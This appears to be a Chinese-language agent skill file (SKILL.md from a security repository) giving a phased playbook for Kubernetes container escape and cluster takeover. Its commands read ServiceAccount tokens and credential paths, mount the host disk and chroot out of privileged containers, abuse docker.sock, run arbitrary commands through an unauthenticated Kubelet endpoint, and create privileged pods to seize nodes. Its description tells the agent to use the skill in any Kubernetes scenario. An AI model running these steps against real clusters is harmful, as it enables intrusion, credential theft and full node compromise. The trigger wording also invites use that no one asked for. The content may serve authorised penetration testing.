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k8s-container-escape

DevOps & Security
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Kubernetes 容器逃逸与集群攻击。当目标运行在 K8s 环境中、发现 6443/10250/2379 端口、获取到 ServiceAccount Token、或已在容器内时使用。覆盖容器逃逸、Pod 提权、API Server 未授权、etcd 泄露、RBAC 滥用、节点接管。任何涉及 Kubernetes、容器编排、云原生安全的场景都应使用此技能

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Source SKILL.md: https://github.com/wgpsec/AboutSecurity/blob/HEAD/skills/cloud/k8s-container-escape/SKILL.md

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Kubernetes 容器逃逸与集群攻击

K8s 集群一旦被突破，攻击面极大——从单个 Pod 可以横向扩展到整个集群的所有节点和服务。

⛔ 深入参考（必读）

Phase 1: 环境识别

1.1 确认在容器内

cat /proc/1/cgroup 2>/dev/null | grep -qi 'docker\|kubepods\|containerd'
ls /.dockerenv 2>/dev/null || ls /run/secrets/kubernetes.io 2>/dev/null
hostname    # K8s Pod 名通常含 deployment 名
env | grep -i kube

1.2 K8s 环境信息收集

# ServiceAccount Token（几乎每个 Pod 都有）
SA_TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
CA_CERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace 2>/dev/null)

# API Server 地址
echo $KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT

# 测试 API 权限
curl -sk -H "Authorization: Bearer $SA_TOKEN" \
  https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT/api/v1/namespaces/$NAMESPACE/pods

1.3 外部端口探测

端口服务攻击面
6443API Server未授权/Token 利用
10250Kubelet命令执行
10255Kubelet (只读)信息泄露
2379etcd全量数据（含 Secrets）
8080API Server (不安全)完全控制

Phase 2: 攻击决策树

当前位置？
├─ 容器内部
│   ├─ 特权容器（privileged=true）→ 挂载宿主机 → 逃逸
│   ├─ 挂载了 hostPath/docker.sock → 逃逸
│   ├─ 有 SA Token → SelfSubjectRulesReview / can-i → RBAC 权限驱动攻击
│   ├─ 能 create pods / pods/exec / impersonate → Pod 创建、进入高权限 Pod 或模拟高权限账户
│   └─ 普通容器 → 内核漏洞/cgroup 逃逸
├─ 可访问 Kubelet (10250)
│   └─ 未授权 → 任意 Pod 命令执行
├─ 可访问 API Server (6443/8080)
│   ├─ 匿名访问 → 创建特权 Pod
│   └─ Token → RBAC 权限枚举
└─ 可访问 etcd (2379)
    └─ 提取所有 Secrets
详细命令 → 参考 references

Phase 3: 容器逃逸速查

特权容器逃逸（最常见）

# 检查是否特权容器
cat /proc/1/status | grep -i cap
# CapEff: 0000003fffffffff 表示全能力 = 特权容器

# 方法 1: 挂载宿主机文件系统
mkdir -p /tmp/hostroot
mount /dev/sda1 /tmp/hostroot
chroot /tmp/hostroot bash

Docker Socket 逃逸

ls -la /var/run/docker.sock
# 存在则可创建特权容器挂载宿主机
curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json

→ 完整逃逸手法 → references/escape-techniques.md

Phase 4: Kubelet 未授权

# 列出所有 Pod
curl -sk https://NODE_IP:10250/pods

# 在任意 Pod 中执行命令
curl -sk https://NODE_IP:10250/run/NAMESPACE/POD/CONTAINER \
  -d "cmd=id"

Phase 5: 集群接管

# 用 SA Token 检查权限
curl -sk -H "Authorization: Bearer $SA_TOKEN" \
  https://API_SERVER/apis/authorization.k8s.io/v1/selfsubjectaccessreviews \
  -d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectAccessReview","spec":{"resourceAttributes":{"verb":"create","resource":"pods"}}}'

# 能创建 Pod → 创建特权 Pod 挂载节点

→ 详细集群攻击 → references/cluster-attacks.md

工具速查

工具用途
kubectlK8s 集群管理
kubeletctlKubelet 利用
CDK容器逃逸自动化
PEIRATESK8s 渗透框架
etcdctletcd 数据提取